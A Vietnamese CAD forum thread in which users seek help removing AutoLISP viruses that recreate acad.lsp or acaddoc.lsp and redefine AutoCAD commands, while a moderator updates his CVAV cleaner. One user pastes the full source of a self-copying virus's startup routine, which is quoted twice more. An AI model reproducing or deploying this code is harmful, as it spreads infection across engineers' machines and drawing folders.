Đến nội dung


Hình ảnh
- - - - -

File acad.lsp không diệt được bằng CVAV.


  • Please log in to reply
12 replies to this topic

#1 ptlong04x1

ptlong04x1

    biết vẽ polygon

  • Members
  • PipPip
  • 75 Bài viết
Điểm đánh giá: 8 (bình thường)

Đã gửi 28 July 2010 - 11:14 PM

Máy mình dạo này cứ xuất hiện file acad.lsp khi mở bản vẽ CAD, nó làm thay đổi 1 số lệnh nên gây khó chịu, mình đã tải lisp CVAV của bác Nguyễn Hoành về để diệt nhưng vẫn không được, mong mọi người giúp đỡ. Mình đính kèm file acad.lsp nhờ các bạn tìm cách xử lý giúp. Xin cảm ơn!

http://www.cadviet.c...iles/3/acad.lsp
  • 0

#2 minhtu2004

minhtu2004

    biết lệnh chamfer

  • Members
  • PipPipPipPip
  • 219 Bài viết
Điểm đánh giá: 34 (tàm tạm)

Đã gửi 29 July 2010 - 08:13 AM

-Bạn dùng phần mềm diệt virus Avira hay phần mềm diệt virus miễn phí của microsoft là diệt được con này. Chúc bạn thành công.
  • 1

-Nhận thực hiện bản vẽ 3D bằng revit.
-Liên hệ: 01664793290.


#3 Nguyen Hoanh

Nguyen Hoanh

    biết lệnh adcenter

  • Moderator
  • PipPipPipPipPipPipPip
  • 4105 Bài viết
Điểm đánh giá: 4495 (đỉnh cao)

Đã gửi 29 July 2010 - 08:17 AM

Máy mình dạo này cứ xuất hiện file acad.lsp khi mở bản vẽ CAD, nó làm thay đổi 1 số lệnh nên gây khó chịu, mình đã tải lisp CVAV của bác Nguyễn Hoành về để diệt nhưng vẫn không được, mong mọi người giúp đỡ. Mình đính kèm file acad.lsp nhờ các bạn tìm cách xử lý giúp. Xin cảm ơn!

http://www.cadviet.c...iles/3/acad.lsp

Vẫn diệt được mà bạn:

****************************************
CADViet AntiVirus v1.02 is starting ...
file E:\Hoanh\CADVIET\antivirus1\acad.lsp was deleted!
CADViet AntiVirus finishes scanning ....redefine Enter command name: plot
.redefine Enter command name: u .redefine Enter command name: qsave .redefine
Enter command name: line .redefine Enter command name: quit .redefine Enter
command name: trim .redefine Enter command name: extend .redefine Enter command
name: move .redefine Enter command name: xplode
Unknown command name..redefine Enter command name: xref .redefine Enter command
name: xbind
Total 1 infected files were found and removed!
****************************************


Đây là một biến thể của virus đã từng biết, CADViet Antivrus hiện nay vẫn đang diệt được. Mặc dù vậy mình sẽ cập nhật thêm nó vào CADViet antivirus luôn.
  • 3

#4 ptlong04x1

ptlong04x1

    biết vẽ polygon

  • Members
  • PipPip
  • 75 Bài viết
Điểm đánh giá: 8 (bình thường)

Đã gửi 29 July 2010 - 10:47 AM

Vẫn diệt được mà bạn:

****************************************
CADViet AntiVirus v1.02 is starting ...
file E:\Hoanh\CADVIET\antivirus1\acad.lsp was deleted!
CADViet AntiVirus finishes scanning ....redefine Enter command name: plot
.redefine Enter command name: u .redefine Enter command name: qsave .redefine
Enter command name: line .redefine Enter command name: quit .redefine Enter
command name: trim .redefine Enter command name: extend .redefine Enter command
name: move .redefine Enter command name: xplode
Unknown command name..redefine Enter command name: xref .redefine Enter command
name: xbind
Total 1 infected files were found and removed!
****************************************


Đây là một biến thể của virus đã từng biết, CADViet Antivrus hiện nay vẫn đang diệt được. Mặc dù vậy mình sẽ cập nhật thêm nó vào CADViet antivirus luôn.


Trên máy mình thấy chương trình báo như bên dưới, tuy nhiên file acad.lsp vẫn không bị xoá, thậm chí mình đã search và xoá hết các file acad.lsp nhưng file vẫn tự tạo mỗi khi mình mở bản vẽ, các lệnh bị thay đổi khi khởi động cad.
Mình cũng có tìm cách giải quyết trên diễn đàn nhưng không tìm ra file acadapp.lsp trên máy mình.
Mong bạn xem giúp, cảm ơn!

CADViet AntiVirus v1.02 is starting ...
file D:\Work\Site\TTH General Hospital\Ban ve TC\TRIEN KHAI BVTC\B5 -
XL7\acad.lsp was deleted!
CADViet AntiVirus finishes scanning


  • 0

#5 xuandao0708

xuandao0708

    biết lệnh scale

  • Members
  • PipPipPip
  • 140 Bài viết
Điểm đánh giá: 8 (bình thường)

Đã gửi 29 July 2010 - 10:56 AM

Nhân tiện đây nhờ các Bác coi dùm em líp này đo máy trong cơ quan bị nhiễm nhưng đã dùng chương trình diệt virut của cadviet nhung không được. Trong thư mục nó có 1 file líp nhưng đã xoá, sau khi mở bản vẽ thì nó tạo ra 1 file líp khác làm liệt 1 số phím như Ctrl. Nay nhờ các Bác coi dùm.
Đây là file líp đầu tiên:

(defun-q s::startup
(/ basepath
baseacad
acaddocpath
r-acaddoc
w-basepath
rl-acaddoc
acaddoclsp
c-acaddocname
c-acaddocpath
c-acaddoc
)
(setq basepath
(findfile "base.dcl")
)
(setq basepath
(substr basepath
1 (- (strlen basepath) 8)
)
)
(setq baseacad (strcat basepath "acaddoc.lsp"))

(setq acaddocpath
(findfile "acaddoc.lsp")
)
(setq acaddocpath
(substr acaddocpath
1 (- (strlen acaddocpath) 11)
)
)
(setq acaddoclsp
(strcat acaddocpath "acaddoc.lsp"))


(setq c-acaddocname
(getvar "dwgname")
)
(setq c-acaddocpath
(findfile c-acaddocname)
)
(setq c-acaddocpath
(substr c-acaddocpath
1 (- (strlen c-acaddocpath) (strlen c-acaddocname))
)
)
(setq c-acaddoc
(strcat c-acaddocpath "acaddoc.lsp")
)
(if
(and
(/= basepath acaddocpath)
(= c-acaddocpath acaddocpath)
)
(progn
(setq r-acaddoc
(open acaddoclsp "r")
)
(setq w-basepath
(open baseacad "w")
)
(while
(setq rl-acaddoc
(read-line r-acaddoc)
)
(write-line rl-acaddoc w-basepath)
)
(close w-basepath)
(close r-acaddoc)

)

(progn
(setq r-acaddoc
(open acaddoclsp "r")
)
(setq w-basepath
(open c-acaddoc "w")
)
(while
(setq rl-acaddoc
(read-line r-acaddoc)
)
(write-line rl-acaddoc w-basepath)
)
(close w-basepath)
(close r-acaddoc)

)
)
(princ)
)

Đây là file líp nó tạo ra sau khi mở bản vẽ.
http://www.mediafire...ts/acaddoc1.lsp
  • 0

#6 Nguyen Hoanh

Nguyen Hoanh

    biết lệnh adcenter

  • Moderator
  • PipPipPipPipPipPipPip
  • 4105 Bài viết
Điểm đánh giá: 4495 (đỉnh cao)

Đã gửi 29 July 2010 - 12:33 PM

Trên máy mình thấy chương trình báo như bên dưới, tuy nhiên file acad.lsp vẫn không bị xoá, thậm chí mình đã search và xoá hết các file acad.lsp nhưng file vẫn tự tạo mỗi khi mình mở bản vẽ, các lệnh bị thay đổi khi khởi động cad.
Mình cũng có tìm cách giải quyết trên diễn đàn nhưng không tìm ra file acadapp.lsp trên máy mình.
Mong bạn xem giúp, cảm ơn!

Bạn thử dùng lại bản mới nhất xem, mình đã cập nhật biến thể đó vào CVAV mới nhất.

Lưu ý là CVAV chỉ diệt virus acad.lsp trong máy được cài, chỉ xóa các file acad.lsp trong thư mục mà bạn mở file dwg. CVAV không tự tìm và diệt những file acad.lsp nằm ở thư mục khác hay trên mạng.

Bạn nhớ là phải đặt CVAV vào mục content nhé.
  • 1

#7 Nguyen Hoanh

Nguyen Hoanh

    biết lệnh adcenter

  • Moderator
  • PipPipPipPipPipPipPip
  • 4105 Bài viết
Điểm đánh giá: 4495 (đỉnh cao)

Đã gửi 29 July 2010 - 12:57 PM

Nhân tiện đây nhờ các Bác coi dùm em líp này đo máy trong cơ quan bị nhiễm nhưng đã dùng chương trình diệt virut của cadviet nhung không được. Trong thư mục nó có 1 file líp nhưng đã xoá, sau khi mở bản vẽ thì nó tạo ra 1 file líp khác làm liệt 1 số phím như Ctrl. Nay nhờ các Bác coi dùm.
Đây là file líp đầu tiên:


(defun-q s::startup
(/ basepath
baseacad
acaddocpath
r-acaddoc
w-basepath
rl-acaddoc
acaddoclsp
c-acaddocname
c-acaddocpath
c-acaddoc
)
(setq basepath
(findfile "base.dcl")
)
(setq basepath
(substr basepath
1 (- (strlen basepath) 8)
)
)
(setq baseacad (strcat basepath "acaddoc.lsp"))

(setq acaddocpath
(findfile "acaddoc.lsp")
)
(setq acaddocpath
(substr acaddocpath
1 (- (strlen acaddocpath) 11)
)
)
(setq acaddoclsp
(strcat acaddocpath "acaddoc.lsp"))


(setq c-acaddocname
(getvar "dwgname")
)
(setq c-acaddocpath
(findfile c-acaddocname)
)
(setq c-acaddocpath
(substr c-acaddocpath
1 (- (strlen c-acaddocpath) (strlen c-acaddocname))
)
)
(setq c-acaddoc
(strcat c-acaddocpath "acaddoc.lsp")
)
(if
(and
(/= basepath acaddocpath)
(= c-acaddocpath acaddocpath)
)
(progn
(setq r-acaddoc
(open acaddoclsp "r")
)
(setq w-basepath
(open baseacad "w")
)
(while
(setq rl-acaddoc
(read-line r-acaddoc)
)
(write-line rl-acaddoc w-basepath)
)
(close w-basepath)
(close r-acaddoc)

)

(progn
(setq r-acaddoc
(open acaddoclsp "r")
)
(setq w-basepath
(open c-acaddoc "w")
)
(while
(setq rl-acaddoc
(read-line r-acaddoc)
)
(write-line rl-acaddoc w-basepath)
)
(close w-basepath)
(close r-acaddoc)

)
)
(princ)
)

Đây là file líp nó tạo ra sau khi mở bản vẽ.
http://www.mediafire...ts/acaddoc1.lsp


Mình đang nghiên cứu virus mới này, hy vọng sẽ sớm có kết quả để cập nhật vào CVAV luôn.
  • 0

#8 ptlong04x1

ptlong04x1

    biết vẽ polygon

  • Members
  • PipPip
  • 75 Bài viết
Điểm đánh giá: 8 (bình thường)

Đã gửi 29 July 2010 - 02:05 PM

Bạn thử dùng lại bản mới nhất xem, mình đã cập nhật biến thể đó vào CVAV mới nhất.

Lưu ý là CVAV chỉ diệt virus acad.lsp trong máy được cài, chỉ xóa các file acad.lsp trong thư mục mà bạn mở file dwg. CVAV không tự tìm và diệt những file acad.lsp nằm ở thư mục khác hay trên mạng.

Bạn nhớ là phải đặt CVAV vào mục content nhé.


Vẫn không được bạn ạ, mình đã add CVAV 1.03 vào Contents nhưng vẫn không diệt được.

Hình đã gửi
  • 0

#9 Nguyen Hoanh

Nguyen Hoanh

    biết lệnh adcenter

  • Moderator
  • PipPipPipPipPipPipPip
  • 4105 Bài viết
Điểm đánh giá: 4495 (đỉnh cao)

Đã gửi 29 July 2010 - 04:42 PM

Vẫn không được bạn ạ, mình đã add CVAV 1.03 vào Contents nhưng vẫn không diệt được.

Hình đã gửi

Bạn thử download lại phiên bản 1.04 xem sao?
  • 2

#10 Nguyen Hoanh

Nguyen Hoanh

    biết lệnh adcenter

  • Moderator
  • PipPipPipPipPipPipPip
  • 4105 Bài viết
Điểm đánh giá: 4495 (đỉnh cao)

Đã gửi 29 July 2010 - 04:56 PM

Nhân tiện đây nhờ các Bác coi dùm em líp này đo máy trong cơ quan bị nhiễm nhưng đã dùng chương trình diệt virut của cadviet nhung không được. Trong thư mục nó có 1 file líp nhưng đã xoá, sau khi mở bản vẽ thì nó tạo ra 1 file líp khác làm liệt 1 số phím như Ctrl. Nay nhờ các Bác coi dùm.
Đây là file líp đầu tiên:
...
Đây là file líp nó tạo ra sau khi mở bản vẽ.
http://www.mediafire...ts/acaddoc1.lsp

Virus này khá 'nham hiểm', nó lây vào tất cả các file lisp trên thư mục support chứ không chỉ lây vào file các lisp hệ thống.

Trước mắt, bạn muốn diệt được virus này, hãy uninstall AutoCAD, rồi install lại AutoCAD, sau đó appload CVAV phiên bản mới nhất vào content như hướng dẫn là được.

Với phiên bản CVAV hiện tại, nếu bạn cài CVAV vào AutoCAD chưa bị nhiễm virus thì máy bạn sẽ không bị nhiễm từ máy khác hay từ USB nữa. Nhưng nếu bạn cài CVAV vào máy đã bị nhiễm thì CVAV chưa diệt được tận gốc virus này.
  • 3

#11 ptlong04x1

ptlong04x1

    biết vẽ polygon

  • Members
  • PipPip
  • 75 Bài viết
Điểm đánh giá: 8 (bình thường)

Đã gửi 29 July 2010 - 09:45 PM

Bạn thử download lại phiên bản 1.04 xem sao?


Tuyệt vời, cảm ơn bạn!
  • 0

#12 Nghia_XD

Nghia_XD

    biết vẽ polygon

  • Members
  • PipPip
  • 76 Bài viết
Điểm đánh giá: 5 (bình thường)

Đã gửi 30 July 2010 - 08:46 PM

CVAV vẫn diệt ngon lành mà. cái của bác HOANH ấy !
  • 0

Xây dựng dân dụng và công nghiệp


#13 thanhhoa.36

thanhhoa.36

    biết vẽ circle

  • Members
  • PipPip
  • 35 Bài viết
Điểm đánh giá: 1 (bình thường)

Đã gửi 30 July 2010 - 10:31 PM

Bạn thử download lại phiên bản 1.04 xem sao?



Chắc Virut bây giờ mà nhìn thấy bác Hoanh thì chạy mất dép thôi !

Xin chân thành cảm ơn Bác !
  • 0